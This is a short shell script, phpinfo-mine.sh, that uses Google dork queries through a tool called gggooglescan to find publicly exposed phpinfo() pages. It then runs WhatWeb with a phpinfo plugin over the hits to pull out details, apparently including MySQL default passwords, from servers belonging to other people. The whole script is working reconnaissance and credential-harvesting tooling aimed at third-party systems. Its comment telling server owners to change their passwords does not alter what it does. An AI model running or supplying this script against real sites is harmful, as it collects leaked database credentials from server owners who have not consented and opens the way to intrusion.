phpinfo-mine.sh

#!/bin/sh
# phpinfo-mine
# Finds and retrieves phpinfo() pages from Google results.
#
# Requires WhatWeb and gggooglescan in the current working directory.
#
# It is highly recommended that you change your passwords if your servers'
# passwords appears in this list.
##
# Google Results as at 2011-01-21 #
# 52 results for intitle:"phpinfo()" "mysql.default_password" "Zend Scripting Language Engine"
# 33 results for inurl:"phpinfo.php" intitle:"phpinfo()" "mysql.default_password"
##
# Get target URLs from google #
./gggooglescan 'intitle:"phpinfo()" "mysql.default_password" "Zend Scripting Language Engine"' > input.phpinfo.log
./gggooglescan 'inurl:"phpinfo.php" intitle:"phpinfo()" "mysql.default_password"' >> input.phpinfo.log
##
# Extract Details from URLs #
./whatweb -a 1 -p plugins/phpinfo.rb --log-brief=results.phpinfo.log --input-file=input.phpinfo.log
echo
echo "[*] Results saved to results.phpinfo.log"
echo